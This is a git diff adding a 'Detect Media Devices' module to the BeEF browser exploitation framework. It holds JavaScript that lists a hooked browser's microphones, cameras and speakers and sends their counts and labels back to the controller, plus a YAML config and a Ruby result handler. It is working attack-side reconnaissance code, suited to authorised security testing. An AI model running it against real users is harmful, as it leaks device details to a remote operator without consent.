diff --git a/modules/browser/detect_media_devices/command.js b/modules/browser/detect_media_devices/command.js new file mode 100644 index 0000000000..20ee02ca14 --- /dev/null +++ b/modules/browser/detect_media_devices/command.js @@ -0,0 +1,47 @@ +// +// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - https://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function () { + if (typeof navigator.mediaDevices === 'undefined' || + typeof navigator.mediaDevices.enumerateDevices !== 'function') { + beef.net.send("<%= @command_url %>", <%= @command_id %>, + "error=" + encodeURIComponent("API not available in this browser"), + beef.status.error()); + return; + } + + navigator.mediaDevices.enumerateDevices() + .then(function (devices) { + var result = { + audioinput: { count: 0, labels: [] }, + audiooutput: { count: 0, labels: [] }, + videoinput: { count: 0, labels: [] } + }; + devices.forEach(function (device) { + if (result[device.kind]) { + result[device.kind].count++; + if (device.label) { + result[device.kind].labels.push(device.label); + } + } + }); + + var body = + "audioinput_count=" + result.audioinput.count + + "&audioinput_labels=" + encodeURIComponent(result.audioinput.labels.join(", ")) + + "&audiooutput_count=" + result.audiooutput.count + + "&audiooutput_labels=" + encodeURIComponent(result.audiooutput.labels.join(", ")) + + "&videoinput_count=" + result.videoinput.count + + "&videoinput_labels=" + encodeURIComponent(result.videoinput.labels.join(", ")); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, body, beef.status.success()); + }) + .catch(function (err) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, + "error=" + encodeURIComponent("Error: " + (err.message || String(err))), + beef.status.error()); + }); +}); diff --git a/modules/browser/detect_media_devices/config.yaml b/modules/browser/detect_media_devices/config.yaml new file mode 100644 index 0000000000..1bd635b48b --- /dev/null +++ b/modules/browser/detect_media_devices/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_media_devices: + enable: true + category: "Browser" + name: "Detect Media Devices" + description: "This module enumerates media input/output devices (microphones, cameras, speakers) available to the hooked browser via navigator.mediaDevices.enumerateDevices()." + authors: ["Sethumadhavan", "bcoles"] + target: + not_working: ["IE"] + working: ["All"] diff --git a/modules/browser/detect_media_devices/module.rb b/modules/browser/detect_media_devices/module.rb new file mode 100644 index 0000000000..29f42ca3cb --- /dev/null +++ b/modules/browser/detect_media_devices/module.rb @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_media_devices < BeEF::Core::Command + def post_execute + content = {} + content['audioinput_count'] = @datastore['audioinput_count'] unless @datastore['audioinput_count'].nil? + content['audioinput_labels'] = @datastore['audioinput_labels'] unless @datastore['audioinput_labels'].nil? + content['audiooutput_count'] = @datastore['audiooutput_count'] unless @datastore['audiooutput_count'].nil? + content['audiooutput_labels'] = @datastore['audiooutput_labels'] unless @datastore['audiooutput_labels'].nil? + content['videoinput_count'] = @datastore['videoinput_count'] unless @datastore['videoinput_count'].nil? + content['videoinput_labels'] = @datastore['videoinput_labels'] unless @datastore['videoinput_labels'].nil? + content['error'] = @datastore['error'] unless @datastore['error'].nil? + save content + end +end